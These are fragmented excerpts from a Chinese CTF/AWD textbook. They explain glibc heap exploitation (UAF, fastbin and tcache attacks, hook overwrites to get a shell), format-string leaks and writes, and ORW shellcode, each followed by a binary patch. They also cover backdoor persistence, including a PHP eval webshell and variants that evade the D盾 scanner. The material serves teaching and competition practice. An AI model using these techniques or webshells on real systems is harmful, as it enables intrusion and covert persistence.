    {"text": "这里给出一个包含栈溢出漏洞和后门的代码来方便原理的学习，代码如下： 使用Cutter工具打开编译后的程序，然后找到f_getshell函数，发现其对应的地址是0x400576（读者可根据实际编译情况寻找f_getshell函数对应的地址），那么将ret的地址改成0x400576即可，也就是aaaaaaaabbbbbbbbcccccccc0x400576。"},
    {"text": "但这里并不能将0x400576当作字符串使用，所以需要利用Pwntools工具的p64函数，将字符串0x400576转化成十六进制数据，对应的Pwntools的代码如下： 5 . 2 . 2 漏 洞 修 复 在AWD竞赛中，PWN环境会给出一个包含漏洞可供选手修复的二进制程序。"},
    {"text": "具体修改方法：使用Cutter工具打开程序，选择“文件→设置模式→写入模式”，在0x00400542地址处右击选择“编辑→Nop指令”，修改后汇编如下： 接着在0x00400542地址处右击选择“编辑→指令”，输入mov edx，0x20，也就是修改了read的第3个参数，变成了read(0，str1，0x20)。"},
    {"text": "在32位程序中，函数的参数一般都使用栈来控制，所以修改push的参数即可。 在本例中，定位到程序代码如下： 具体修改方法：使用Cutter工具打开程序，选择“文件→设置模式→写入模式”，然后在地址0x08048424处右击，选择“编辑→Nop指令”，接着再右击选择“编辑→指令”，输入push 0x20即可。"},
    {"text": "5.3 堆漏洞 5 . 3 堆 漏 洞 通常来说，在PWN题目中，堆（heap）主要是指在主线程中main_arena所管理的区域，通过malloc等函数来动态申请内存空间。"},
    {"text": "而在PWN题目中的堆漏洞主要是指在主线程中通过malloc等函数动态申请的内存块之间的漏洞，就好比是这些柜子之间的漏洞，所以malloc_chunk结构体尤为重要。"},
    {"text": "2 . h e a p _ i n f o 一个线程中可以包含多个堆的数据段，每个堆的数据段都有一个结构体来定义自身的范围和相关联的堆，这个结构体如下： 3 . m a l l o c _ s t a t e malloc_state可以理解为管理arena的一个结构体，包含堆的状态、bin链表等。"},
    {"text": "1）prev_size：前一个chunk被释放的话，则为前一个chunk的大小，前一个chunk未被释放的话，此值为0。 2）size：表示当前chunk的大小，包含prev_size所占的空间（8字节）和size结构本身的大小（8字节）。"},
    {"text": "3）fd和bk指针：当前chunk被释放后会加入相应的bin链表中，fd指向上一个被释放的chunk，bk指向下一个被释放的chunk。 4）fd_nextsize和bk_nextsize指针：作用同fd和bk指针，只是fd_nextsize和bk_nextsize指针分别指向了larginbin的上一个chunk和下一个chunk。"},
    {"text": "堆块0x602a20(p[2])的fd指针指向了上一个堆块0x602000(p[0])，堆块0x602a20(p[2])的bk指针指向了下一个堆块0x603440(p[4])。"},
    {"text": "所以再次申请0x500字节的时候，就会把堆块0x603440(p[4])申请出来，接着是0x602a20(p[2])，最后是0x602000(p[0])。"},
    {"text": "除此之外，在堆结构中，main_arena指针在程序中相对libc加载到内存里基地址（libc_base）的偏移量是固定的，也就是通过main_arena-88就可以获取libc_base的地址。 而system等一系列函数对应libc的偏移量也是固定的，所以利用libc_base可以获得system在内存中的地址等，后面会详细介绍main_arena和libc_base的偏移量计算。"},
    {"text": "fastbin的prev_inuse位，也就是P位一直为1，也就意味着相邻的堆块被释放后也不会与当前被释放的堆块合并，代码举例说明如下： 上述代码中，释放连续3个内存块后的内存分布如下。"},
    {"text": "fastbin遵循先进后出（FILO）原则，例如再次申请size=0x70的时候，从Pwndbg中可见，0x602100(p[2])首先被申请，然后是0x602080(p[1])，最后是0x602000(p[0])地址块，代码如下。"},
    {"text": "2 . u n s o r t e d b i n unsortedbin与smallbin、largebin类似，采用先进先出（FIFO）原则，在进入smallbin和largebin之前，首先进入unsortedbin中。"},
    {"text": "例如，3个被释放的chunk融合在一起放入unsortedbin中，代码如下： 5 . 3 . 3 l i b c 中 m a i n _ a r e n a 偏 移 计 算 由unsortedbin的相关知识可知，当程序释放的内存大小超过0x100个字节的时候将会被系统放入unsortedbin链中进行管理，而在unsortedbin中内存块的fd指针和bk指针会指向main_arena+88的地址，而main_arena+88的地址也正是libc的内存偏移地址之一。 并且main_arena的偏移地址相对于libc在内存中起始的地址是固定的，所以得到main_arena+88在内存中的地址后，就能得到libc在内存中的基地址，得到libc的基地址后，就能计算出其他函数的地址，如system函数的内存地址等。 简单地说，在内存中获得了main_arena的地址，就可以知道libc在内存中的地址，通过libc的地址，也就得到了任意函数的地址。 那么这个main_arena距离libc基地址的偏移量是如何计算的呢？"},
    {"text": "使用方法如下： 通常情况下，libc.so.6是Linux下PWN文件执行所需要的动态链接库文件，类似于Windows中exe文件执行所需要的dll文件。 通过ldd命令，可以定位到PWN文件执行所必须的动态库libc.so.6的路径，然后通过工具libcoffset获得libc.so.6中main_arena的偏移量的值。"},
    {"text": "在glibc目录的glibc-2.23/malloc/malloc.c源码中，查找如下函数malloc_trim，其中存在mstate ar_ptr=&main_arena一行代码。 接着使用逆向工具打开libc.so.6文件，查找malloc_trim函数，代码如下，其中有一行为v22=&dword_3C4B20，对应源码为mstate ar_ptr=&main_arena，可见dword_3C4B20就是main_arena的地址，偏移量正是0x3c4b20。 那么知道偏移量是0x3c4b20后，又因为libc中偏移量是固定值，对应加载到内存的libc地址偏移也是固定的。"},
    {"text": "所以获得main_arena+88的地址后，获得libc_base的地址就相对容易。 以libc 2.23版本为例，libc_base=（泄漏的main_arena+88）-88-0x3c4b20即可获得libc_base的地址。"},
    {"text": "5 . 3 . 4 释 放 再 利 用 漏 洞 利用fastbin attack来演练释放再利用（Use After Free, UAF）漏洞是最合适的，因为fastbin只有一个fd指针，理解起来比较容易。"},
    {"text": "因为fastbin是单链结构，在释放后只有fd指针指向下一个chunk，所以释放当前chunk后，修改当前chunk的fd指针，再次申请此内存块，就可以达到任意写的目的。"},
    {"text": "以如下代码为例： 上述代码中p0（0x602000）被释放2次后，满足如下指针情况，p0的fd指针指向p1（0x602070），p1的fd指针又指向p0。"},
    {"text": "此时，p0的fd指针指向了aaaabbbb，即在0x602000中保存了aaaabbbb： 然后通过malloc函数申请2次0x68大小的内存块后，就会把fastbin链里地址为0x602070、0x602000的内存块申请出来。 此时fastbin链里只剩下以aaaabbbb为开头的内存地址了，代码如下： 由于rcx中0x6262626261616161地址不合法，因此申请的时候程序会崩溃。 在int_malloc函数中申请以aaaabbbb为开头的内存地址，程序报错，代码如下。"},
    {"text": "fastbin释放再利用结构如图5-5所示，即依次释放chunk0、chunk1、chunk0，造成chunk0的fd指针指向chunk1，chunk1的fd指针指向chunk0。"},
    {"text": "通过分析程序，可知在del()函数中释放g_buf[idx]后，没有将g_buf[idx]赋值为0，导致被删除的指针依然可用，从而造成释放再利用漏洞。"},
    {"text": "●使用one_gadgets或者构造bin/sh字符串和system来触发getshell。 one_gadgets是一款开源工具，利用此工具可以快速获得getshell的gadgets。 安装方式为：gem install one_gadget。"},
    {"text": "2）利用释放再利用技术修改chunk的fd指针，造成申请到malloc_hook，将malloc_hook覆盖成one_gadgets。 3）利用one_gadgets触发调用malloc_hook，从而获得权限。"},
    {"text": "首先我们需要利用show函数判断chunk是否被释放而获得libc内存的地址。 申请一个较大的内存块0x300，释放后此chunk放入unsortedbin中，在unsortedbin中的内存块fd指针会指向main_arena+88的位置，而main_arena+88正好在libc内存中，而且偏移量是固定的，所以很容易得出libc在内存中的基址。"},
    {"text": "由如下汇编代码可见，在删除编号为0的块后（用#0代表编号为0的内存块，#1代表编号为1的内存块，以此类推），#0的内存直接放入unsortedbin中，其内容是main_arena+88。"},
    {"text": "获得libc_base后，需要接着获得malloc_hook在内存中的地址。 因为各种偏移量相对于libc_base地址都是固定的，所以可以直接利用代码获取libc地址，然后得到malloc_hook在内存中的地址：malloc_hook=libc_base+libc.sym['__malloc_hook'] 获得malloc_hook在内存中的地址后，需要任意写申请到malloc_hook附近的malloc_hook-0x23处。"},
    {"text": "由于释放再利用漏洞（UAF）的存在，删除#1堆块后，还能继续在#1堆块中fd指针的位置写入内容，因此这里写入malloc_hook-0x23的地址为0x7ff85af4caed。 被删除的#1堆块的fd指针变成0x7ff85af4caed，如下所示，也就是malloc_hook-0x23的值。"},
    {"text": "因为申请内存的时候，会首先判断malloc_hook的值是否是0：如果malloc_hook的值是0，那么就按照正常流程申请； 如果malloc_hook的值不是0，则会跳转到malloc_hook的值去执行。 这里我们使用one_gadget找到的值来覆盖，所以再次申请内存的时候，会跳转到我们设定的one_gadget里执行。"},
    {"text": "覆盖后，malloc_hook的值变成了0x00007ff180d03364，也就是libc_base+0xf0364的one_gadget，代码如下所示： 完整利用代码如下，代码不难，但需要读者调试一次才能更好地理解： 4 . 漏 洞 修 复 该漏洞修复可以利用IDA中的keypatch插件，也可以使用Cutter工具来进行，此处使用了Cutter工具来修复程序。"},
    {"text": "2）在eh_frame段落以8或0位结尾的地址开始添加汇编代码，比如这里选择eh_frame段的0x00400c70。 添加如下汇编代码： 3）修改原del函数的free函数为eh_frame段汇编函数地址，这里修改为eh_frame段中的00400c70，如图5-6所示。 图5-6 把del函数修改到了eh_frame段 5 . 3 . 5 堆 溢 出 漏 洞 在做堆溢出相关的题目之前，需要非常熟悉前面介绍的堆的结构。"},
    {"text": "3）将chunk3也释放，由于步骤2中已经把chunk3释放了，所以chunk3被释放32次，然后申请一个大小为size2+size3的堆块chunk4，chunk4包含被释放后的chunk3，而chunk3被释放了2次，它还在bin内存中有一份记录，所以修改chunk4就可以控制chunk3的fd指针，从而实现任意地址写。"},
    {"text": "1 . 堆 溢 出 覆 盖 p r e v _ s i z e 和 s i z e 类 型 题 目 本小节将继续使用源码编译，方便读者理解堆溢出的各种漏洞，此源码修改自5.3.4节代码。"},
    {"text": "（ 1 ） 程 序 分 析 阅读如下代码可以发现，程序的漏洞在edit函数处，edit函数没有对输入的内存块的长度做限制，导致输入任意长度造成堆溢出覆盖到下一个堆块。"},
    {"text": "（ 2 ） 漏 洞 利 用 利用方法如下： 1）通过修改下一个chunk的prev_size和size位，造成堆块重叠后，获得内存中libc_base的地址以及相关地址信息。"},
    {"text": "2）利用fastbin attack技术修改chunk的fd指针，造成申请到malloc_hook，把malloc_hook覆盖成one_gadgets。 3）利用one_gadgets触发调用malloc_hook，从而获得权限。"},
    {"text": "获得libc_base的地址后，如果还想通过写入malloc_hook来获取权限的话，就需要将一个内存块释放到fastbin中，修改其fd内容为malloc_hook-0x23，再次申请时即可申请到malloc_hook附近的地址，然后写入需要的数据。"},
    {"text": "而此时unsortedbin中已经存在#3堆块，所以我们将#2堆块再次释放（这里的#2堆块序号为#5，因为g_buf[idx]中，idx++是累加计算的），#2堆块会再进入unsortedbin中，与在unsortedbin中的#3堆块合并。"},
    {"text": "通过parseheap命令可见代码如下，#3堆块既属于fastbin又属于unsortedbin（#3堆块是0x18d8270）。 既然#3堆块存在于unsortedbin和fastbin中，所以申请一个大小为0xf8+0x68的块即可将unsortedbin的地址申请出来，但不影响fastbin中的#3堆块，然后修改大小为0xf8+0x68块的内容，即可修改到#3堆块的fd地址。"},
    {"text": "因为unsortedbin的0x*****170被申请出来了，但是0x*****270的位置还在fastbin中，所以直接修改0x****270的fd指针为addr_dst即可。"},
    {"text": "申请2次0x68的内存块，申请到malloc_hook附近的位置后，将oneshell填入，然后当程序申请一个小的内存块时，就会调用malloc_hook的值，也就会触发oneshell，从而漏洞利用成功。"},
    {"text": "使用逆向工具对程序逆向分析可知，程序有add、show、delete、edit四个功能。 分析add()可知，程序申请16个内存块，存放在list[i]中，每个内存块大小范围为0～256，接着通过read_input()来输入内存块的内容。 在read_input的for循环中存在i=a2的情况，此时读取的字节就比内存块的大小多一个字节，造成单字节溢出的情况。"},
    {"text": "此外，注意add()中的这行代码（i=0; i <=15 && list[i];++i）。 当list[i]不为空的时候，++i； 但是当list[i]=0时，就会跳出循环，直接使用此索引号i的地址。"},
    {"text": "2）利用fastbin attack技术修改chunk的fd指针，造成申请到malloc_hook，把malloc_hook覆盖成one_gadgets。 3）利用one_gadgets触发调用malloc_hook，从而获得权限。"},
    {"text": "在系统中，如果存在chunk1、chunk2、chunk3内存块，当chunk1内存块恰好覆盖到chunk2内存块的prev_inuse，使prev_inuse位为0时，chunk1就会被系统认为是释放状态。"},
    {"text": "在合并堆块中，#f与#b共用同一个地址块，这是在合并的堆块0x55bbc6614000中唯一一个没有被程序释放的地址块（注意这里是“没有被程序释放”，系统已经将#f释放了，但是程序list[v]列表中保存了#f的地址列表，因此可以打印出main_arena）。 所以在合并的堆块0x55bbc6614000中，再次申请size=0xf8的堆块，就可以使#f的fd和bk指向main_arena+88的位置，从而利用程序的show()函数泄露出main_arena+88的位置。"},
    {"text": "已知在合并堆块中#f与#b共用同一个内存块，此堆块已经被系统释放，所以程序再次申请size=0x68的堆块时，系统还会将#f的内存块交给程序，这里就造成了内存重叠。"},
    {"text": "unortedbin清空之后，可知#b、#f、#h其实都是指向同一内存块，利用fastbin attack来修改#f的fd指针为malloc_hook-0x23的值； 接着申请3个fastbin相同大小的内存块，即可申请到malloc_hook-0x23的位置，将oneshell覆盖到malloc_hook的地址。"},
    {"text": "（ 3 ） 漏 洞 修 复 本题修复较为简单，只需将read_input()中for循环的小于等于改为小于即可。 源代码read_input函数中for循环如下： 修改为： 3 . 堆 修 改 t o p _ c h u n k 类 型 题 目 本题目以修改top_chunk以及利用io_file来泄露libc的内存相关地址为突破口，摒弃了传统的show函数打印地址的方法，是比较好的题目之一。"},
    {"text": "（ 1 ） 漏 洞 原 理 当我们申请堆块的大小大于top_chunk的大小时，系统会将top_chunk释放到内存中，top_chunk可能被释放到unsortedbin、tcachebin或fastbin中，这取决于我们对堆块的构造，但是要注意以下几点。"},
    {"text": "比如top_chunk的地址为0x19c8360，那么伪造的结果要满足与0x1000对齐，其最接近的值为0x19c9000，则0x19c9000-0x19c8360=0xca0，那么伪造的top_chunk大小就是0xca0，切记需要将prev inuse位置为1，所以伪造堆块的值最终为0xca1。"},
    {"text": "top_chunk的大小必须要比0x10大，这点很好理解，此处不再赘述。 3）伪造的top_chunk大小要小于之后申请的内存块的大小（size+MINSIZE(0x10)），比如伪造的堆块size=0x100，那么再次申请内存块的大小要大于0x100+0x10。 4）伪造top_chunk的prev inuse位必须为1。"},
    {"text": "在Pwndbg中，stdout结构如下，接着将stdout的_IO_FILE结构体中的int_flags、_IO_read_ptr、_IO_write_base修改为p64(0xfbad1800)+p64(0)*3+b\"\\x88\"，即可输出_IO_write_ptr和_IO_write_base之间的数据，实现泄漏。"},
    {"text": "2）修改Tcache链中的chunk的fd指针，使之指向stdout指针，接着修改stdout的_IO_2_1_stdout_结构，使之输出libc的内存地址，从而获得libc_base的地址。"},
    {"text": "我们首先利用house of orange的手法，利用堆溢出漏洞覆盖top_chunk的大小为0x161，接着再次申请内存块大小为0x200，因为0x200大于0x161，所以系统会将top_chunk释放，而0x161正好满足Tcache链，所以会把这个top_chunk释放到Tcache链中。 代码如下： 此时，通过Pwndbg调试可知，top_chunk已经被释放到Tcache链中，top_chunk=0xcebeb0，代码如下： 接着修改Tcache链中的chunk的fd指针，使之指向stdout结构体。"},
    {"text": "代码中使用0覆盖了prev_inuse，0x141覆盖了size，mstdout的地址覆盖了fd的指针，具体代码如下： 覆盖后，通过Pwndbg调试可知，stdout指针正好在Tcache链中的top_chunk的fd指针处，代码如下： 然后再申请2次内存块后，通过Pwndbg调试可知即将申请到stdout结构体指向的内容_IO_2_1_stdout_，代码如下： 但要注意，申请_IO_2_1_stdout_为起始地址的内存块之前，修改其最后一个字节为_IO_2_1_stdout_结构的具体值。"},
    {"text": "例如此处stdout指向0x7f96449d1760，那么还需要修改最后一位为0x60，通过“pay='\\x60'，fedit(7，len，pay)”来修改fd指针的。"},
    {"text": "再次申请即可申请到_IO_2_1_stdout_的内存块，修改其内容为p64(0xfbad1800)+p64(0)*3+\"\\x88\"即可输出libc_base的地址；"},
    {"text": "代码如下： 完整代码如下： 5 . 3 . 6 T c a c h e 机 制 Tcache是在libc 2.26及之后的版本中加入的一种新的内存块机制，它已经成为CTF在Ubuntu 18、Ubutnu 20系统中必考的知识点之一。 最初的Tcache机制可看作简化版的fastbin链表，攻击方式简单明了，但是在新版本的tcache_entry结构体中加入了struct tcache_perthread_struct *key成员变量，用来防止内存块释放2次（通俗地讲，就是2次释放之前验证内存块中的key是否相同，若内存块中的key相同，则是重复删除，报错）。"},
    {"text": "Tcache新增了两个相关结构体，其结构分别如下： 由以上结构体可见，tcache_prethread_struct是整个Tcache的管理结构，其中TCACHE_MAX_BINS定义为64，表明结构中有64个tcache_entry。 每个tcache_entry管理了若干个大小相同的chunk，用单向链表（typedef struct tcache_entry）的方式连接释放的chunk，这一点与fastbin很像。 tcache_prethread_struct中的counts记录entries中每一条链上chunk的数目，每条链上最多可以有7个chunk。"},
    {"text": "当chunk的size值小于0x410时，需要释放7个chunk后，才会将会剩余的chunk放入其对应的fastbin或unsortedbin中。 当chunk的size值大于或等于0x410时，则直接释放到unsortedbin中。"},
    {"text": "tcache_entry用于链接chunk结构体，其中的next指针指向下一个大小相同的chunk，这里与fastbin不同的是，fastbin的fd指针指向chunk开头的地址，而Tcache的next指针指向user data，即chunk header之后的地址。"},
    {"text": "接着通过gets()来输入内存块的内容，而gets并没有限制v2的输入长度，这里可以造成堆溢出，覆盖下一个堆块的prev_size和size，这是一个漏洞点。"},
    {"text": "2）利用内存堆叠技术，修改一个堆块的fd指针，接着把system地址写入free_hook。 3）再申请一个堆块写入/bin/sh，通过del函数调用free，其实是调用了system来触发/bin/sh。"},
    {"text": "由于程序限定了申请的内存块大小为0x80字节，而在Tcache机制中，想要直接释放后获取unsortedbin，需要释放的堆块大小大于等于0x410才行，为了让堆块释放到unsortedbin中，所以我们要提前准备好堆块部署工作。"},
    {"text": "因为程序限定了我们不能直接编辑chunk0的内容，所以只能执行del（0）后，使用fadd（0，pay）来编辑chunk0的内容，覆盖到chunk1（pay的内容是覆盖到chunk1需要的偏移量和数值）。"},
    {"text": "chunk1的size=0x481，满足了size>=0x410的要求，所以释放chunk1后会被放入unsortedbin中，从而泄漏main_arena地址，接着打印此地址即可。 因为chunk1被程序删除后置NULL，所以系统默认将chunk2的fd指针指向了main_arena，从而打印出main_arena。 获得main_arena之后，就可以得到libc_base的地址，从而获得了内存中的freehook地址以及system地址。 获得了程序内存地址后，下一步就是想办法将freehook的值替换成system函数地址，然后在内存块中写入/bin/sh。 在删除包含/bin/sh字符串内存块的时候，也就调用了system函数，从而变成调用system（'/bin/sh'）达到获取权限的目的。"},
    {"text": "代码如下所示，删除3个chunk后，再次申请即可申请到chunk6的内存，然后通过gets函数来溢出到chunk7，这里修改了chunk7的prev_size和size的值，分别是0x6161616161和0x91。"},
    {"text": "再次申请内存块则是freehook的地址，将freehook的值写成system的地址。 由如下调试代码可知，申请chunk6之后（chunk6的起始地址为0x55a0b06c45b0），我们使用a覆盖了整个chunk6的内存区域，并且覆盖了chunk7的prev_size和size（chunk7为0x55a0b06c4640），这样chunk7的fd指针正好是0x00007f85fcd789a8，也就是freehook的值。"},
    {"text": "首先在eh_frame段中添加read(0,rsi,0x80)，目的为限定输入的长度。 read(0,rsi,0x80)对应的汇编代码如下： 然后在源程序中将对应的指针地址赋值给对应的list即可。 在调试代码中，将read改成call 0x20f8，跳转到我们自身的代码执行，执行完毕后，再次返回0x144f处执行。"},
    {"text": "5.4 格式化字符串漏洞 5 . 4 格 式 化 字 符 串 漏 洞 格式化字符串漏洞在AWD竞赛的PWN题目中往往只占其中的一小部分，主要负责泄漏libc信息等，很少单独作为一个题目来考查。"},
    {"text": "但我们的经常用法是像printf(\"%s\",ch)、printf(\"%d\\n\",sum)等形式一样添加了说明符号，去掉%s、%c、%d之类的说明符，printf依然可以输出内容。 比如下面代码： 可见，printf在没有说明符的状态下也可以输出内容。 而在没有说明符的状态下输出的样式称为格式化字符串漏洞，即printf（buf）存在格式化字符串漏洞。 切记，格式化字符串漏洞没有多种形式，只要确定printf函数不存在说明符（%s、%d、%c、%x）的情况下，就存在格式化字符串漏洞。"},
    {"text": "注意观察这里的栈空间排布，rsp指向了0x7fffffffe378，rdi指向了0x7fffffffe380，而0x7fffffffe380保存的是我们输入的字符串内容。"},
    {"text": "图5-7 栈空间排布（一） 接着输入GDB调试命令c并回车，程序继续运行，输入%7$lx后回车，栈空间排布如图5-8所示，注意箭头处的地址为0x7fffffff0008，输入%7$lx就是想打印栈空间数据。 图5-8 栈空间排布（二） 继续输入c并回车，程序再往下执行，此时程序输出了我们的栈空间地址，即0x7fffffff0008，如图5-9所示。"},
    {"text": "●%4$lx：输出r8寄存的值。 ●%3$lx：输出rcx寄存器的值。 ●%2$lx：输出rdx寄存器的值。 ●%1$lx：输出rsi寄存器的值。"},
    {"text": "以此题为例，假设我们需要泄露程序的内存地址，则需要在Pwndbg中输入stack 20，以此来扩大栈空间的排布。 如图5-10所示，0x4005dd（__libc_csu_init+77）就是程序的内存地址，假设这里我们想要泄漏此地址，根据%6$lx会泄漏栈的第二行内容往下累加，那么0x4005dd应该在序号13上，输入%13$lx即可。 图5-10 栈空间中包含程序的内存地址 接着我们尝试输入%13$lx，如图5-11所示，的确泄漏了程序的地址4005dd。 图5-11 栈空间包含的程序地址被泄露 通过上面的例子可知，格式化字符串可以真实地泄漏内存的数据地址，那么为什么要使用%13$lx这种格式呢？"},
    {"text": "注意，这里给出的是调试方法，记得在printf函数处下断点，然后根据栈空间排布，从输入%6$lx、%7$lx开始尝试泄漏栈想要的内容，千万不要死记格式化字符串漏洞泄漏的栈地址偏移量，因为可能每个程序泄漏的起始偏移不同，有的是7，有的是8。"},
    {"text": "如果想要flag==2000，那么就需要eax与0x7d0相等（0x7d0就是十六进制的2000），eax的值来自于rbp-0xc，rbp-0xc的值就是栈空间0x7fffffffe3e4，而此时0x7fffffffe3e4的内容为0，所以我们只要往0x7fffffffe3e4中写入0x7d0即可。"},
    {"text": "比如往地址偏移为7的程序中写入数据2000，那么就可以构造%2000x%7$n，通过printf（buf）就可以将2000以十六进制的格式%x写入栈空间地址偏移为7的位置。 那么再来看这个题目，这里我们要写入的地址是0x7fffffffe3e4，它的地址可以通过stack命令调试获得，然后根据活的地址计算偏移量。"},
    {"text": "图5-13 在栈空间中发现0x7fffffffe3e4 那么我们尝试写入数据%2000x%19$n，写入数据后如图5-14所示，0x7fffffffe3e4已经被写入了0x7d0，即数据2000，此题的目的达成。"},
    {"text": "代码中存在一个canary保护，需要格式化字符串来获取canary的值，才能造成栈溢出漏洞，所以首先需要通过格式化字符串漏洞泄露出程序的canary。 漏洞利用代码如下，通过printf格式化字符串漏洞获取了canary的值，然后利用栈溢出执行shellcode即可。 具体代码如下，代码通过%31$lx来泄露出canary，绕过canary检查后利用栈溢出跳转到hack的地址，从而获得权限。"},
    {"text": "图5-16 printf函数位置 右击选择“编辑指令”，将printf函数地址0x00400550修改为0x00400520即可，如图5-17所示。 图5-17 将printf函数替换成为puts函数"},
    {"text": "5.5 ORW漏洞 5 . 5 O R W 漏 洞 所谓ORW，其实就是给程序添加沙盒，不能执行system、execve等敏感函数，只能通过open、read、write等函数来编写shellcode读取flag的一种题目。"},
    {"text": "但是作为PWN题目的新趋势，其考查了shellcode的编码与传统漏洞相结合的操作，shellcode编写灵活性较高，所以未来一段内，ORW类型题目依然会作为主流出现。"},
    {"text": "这里需要介绍一个工具：seccomp。 分析带有沙盒的二进制程序就离不开seccomp，这是一个可以查看PWN文件是否存在沙盒的绝佳工具。 seccomp的安装命令为：gem install seccomp-tools，用法：seccomp-tools dump./文件名。"},
    {"text": "代码如下： 这里利用Pwntools编写好的shellcode来执行程序。 shellcode代码首先通过open函数将flag读取出来，将flag的内容写入bss段，接着使用write函数打印出来，具体代码如下： 但是，Pwntools编写的shellcode有时并不灵活，在适配程序时候，可能会由于shellcode过长而报错或其他原因而报错，因此这里就需要我们自己手动修改shellcode，手动修改shellcode的代码如下，大家可以套用这个模板改自己的shellcode。 例子虽然简单，但是讲到了shellcode的精髓部分，希望大家能够举一反三。"},
    {"text": "首先分析add()函数，代码如下： 由add()函数代码可知，程序申请内存的最大值为0x400，所以不能直接申请大于0x410的堆块，也就不能直接释放得到unsortedbin，需要填满tcachebin。"},
    {"text": "最后分析del()函数，代码如下： 由del()函数代码可知，在代码free(*(undefined8 *)(obj.g_Ptr+(int64_t)var_ch * 8))； 后，没有添加语句*(undefined8 *)(obj.g_Ptr+(int64_t)var_ch * 8)=0;，所以这里存在释放再利用的漏洞。"},
    {"text": "2）利用setcontext构造read()函数，将ORW的shellcode写入free_hook&0xfffffffffffff000的地址空间内。 3）利用mprotect将free_hook&0xfffffffffffff000地址设为可执行shellcode内存块，然后利用gadgets中jmp rsp跳转到free_hook&0xfffffffffffff000执行ORW的shellcode。 4）利用ORW的shellcode读取flag。"},
    {"text": "代码如下： 获得释放在unsortedbin中的chunk后，将其main_arena输出，从而获得libc_base地址。 得到libc_base地址后，首先要获得free_hook的地址。"},
    {"text": "代码如下： 之后我们将放入tcachebin的chunk取出，利用程序的释放再利用漏洞构造出tcache dup，申请到free_hook的地址，使用setcontext+53修改free_hook的值，目的是调用free函数时触发setcontext+53的汇编代码。"},
    {"text": "因为setcontext可以修改rsp、rip的值，也就是说setcontext可以修改栈的空间排布，改变程序执行流程，所以遇到沙盒机制的题目，可使用setcontext构造的rop，绕过沙盒很方便。"},
    {"text": "setcontext+53的位置虽然是从rdi+0xe0开始的，但也是在寄存器rdi的基础上做的偏移，而rdi正是Linux汇编中传入函数的第一个参数，方便调用。 比如使用setcontext+53的地址覆盖free_hook，那么free（p）在汇编层面就调用了下面代码中地址setcontext+53处的汇编内容。 而setcontext+53处的汇编还可以控制大部分寄存器的值，这里控制了rsp、rbx、rbp等，所以利用setcontext+53构造一个简短的可执行的代码函数非常方便。 如何快速地构造setcontext所能利用的内容呢？"},
    {"text": "因为在Linux中，Linux系统调用表分别用0、1、2、3、4……代表系统的功能调用，其中0为read，1为write，2为open。 读者可以通过关键字“Linux系统调用表”来搜索具体的数字所代表的函数功能，最常用的数字功能有0、1、2和10，分别是read、write、open、sys_mprotect。"},
    {"text": "因为freehook改成了setcontext+53的位置，利用setcontext+53的代码写入编号为20的内存块中，所以fdel（20）就是执行了setcontext+53处我们使用SigreturnFrame()构造的read(0,fake_rsp,0x200)，接着将ORW shellcode写入fake_rsp中。"},
    {"text": "但是有一个问题，就是此块内存是不可执行的，还需要调用mprotect使fake_rsp的内存可执行。 所以这里需要构造rop链来使用mprotect，即pop rdi ret、pop rsi ret、pop rdx ret，之后调用jmp rsp去执行fake_rsp中的ORW shellcode。 代码如下： 接着在fake_rsp中写入open（flag）、read（flag）、write（flag）即可，代码如下： 完整代码如下。"},
    {"text": "4 . 漏 洞 修 复 本题目的漏洞与5.3.4节的漏洞是同一个类型，是由于在del()函数中，语句free(*(undefined8 *)(obj.g_Ptr+(int64_t)var_ch * 8))后没有添加*(undefined8 *)(obj.g_Ptr+(int64_t)var_ch*8)=0，因此这里存在释放再利用的漏洞。"},
    {"text": "但是由于cutter工具汇编引擎存在bug等，mov qword[rax*8+0x6021A0],rdx经常被编译为mov qword[rax+0x6021A0],rdx，会有很多意想不到的情况发生。"},
    {"text": "第6章 主机权限维持 第 6 章 主 机 权 限 维 持 通过前期对目标主机的漏洞挖掘，获取到了该目标主机的远程控制权限。为了能够对该主机进行长期有效的权限控制，就需要在目标主机上部署相应的隐匿性系统后门。常见的Linux系统后门部署方式有很多种，本章主要介绍一些常规的后门部署方式，也是黑客或网络攻击者最喜欢的部署方式，包括一句话木马后门、系统账户后门、时间计划后门、SSH类后门、PAM后门等。在AWD竞赛中，参赛选手可以在每一轮结束后通过部署的后门获取Flag来获得相应积分。"},
    {"text": "6.1 一句话木马后门 6 . 1 一 句 话 木 马 后 门 通常AWD竞赛的Web靶机会预留WebShell后门，这类后门既有简单易找的一句话木马，又有经过一定免杀处理的木马变种，甚至还有冰蝎及其魔改版本等新型防流量检测的木马后门。 本节将从常见的PHP一句话木马入手，由易到难，层层递进分析比赛中可能遇到的各种类型后门，并结合实践交互和编写Python脚本，使读者能在比赛中快速利用。 6 . 1 . 1 一 句 话 木 马 及 其 变 种 1 . P H P 一 句 话 木 马 以PHP语言为例，一句话木马就是一段能够实现命令或代码执行的简单代码，通常为<?php @eval($_POST['a']);?>。"},
    {"text": "图6-1 PHP一句话木马 当POST参数a赋值为\"system（'whoami'）;\"时，整个代码就变成<?php @eval（\"system（'whoami'）;\"）;?>，由于eval函数的作用，system()函数会被执行。 其他函数构造的PHP一句话木马如下： 脚本中的zh-CN、zh、zh-TW、zh-HK等为国家和地区语言代码，通常出现在http请求头部分的Accept-Language字段中，不具有其他含义。"},
    {"text": "后面会重点讲解几种批量脚本的写法，此处是一个简单的PHP一句话木马快速利用脚本 ，供大家参考： 2 . 一 句 话 木 马 变 种 在AWD竞赛中，在题目源码里通常会藏有各种各样的一句话木马变种。"},
    {"text": "图6-2 字符串函数变种木马 这种木马能不能被D盾识别呢？ 我们以D盾v2.1.6.5来测试，发现仅能够识别出是可疑文件，但不能定位到具体可疑函数，如图6-3所示，这种类型的木马函数名、参数不唯一，如果嵌套在正常源码中，依靠D盾确定为可疑文件后需要人工进一步审查。 图6-3 D盾检测字符串函数变种木马 （ 2 ） 变 量 覆 盖 类 变 种 变量覆盖类变种木马的原理是利用PHP变量覆盖漏洞，常见涉及的函数方法有extract()、parse_str()、$$、import_request_variables()。 我们来看如下测试代码： 此木马利用parse_str()函数，将$text的值覆盖成GET传入的参数，再利用反引号执行，是典型的变量覆盖漏洞，效果如图6-4所示。 图6-4 变量覆盖类木马利用 那么此类的变种木马能被D盾识别吗？ 如图6-5所示，基于D盾v2.1.6.5版本，上述木马是无法被识别出来的，D盾没有任何提示，默认无任何风险。"},
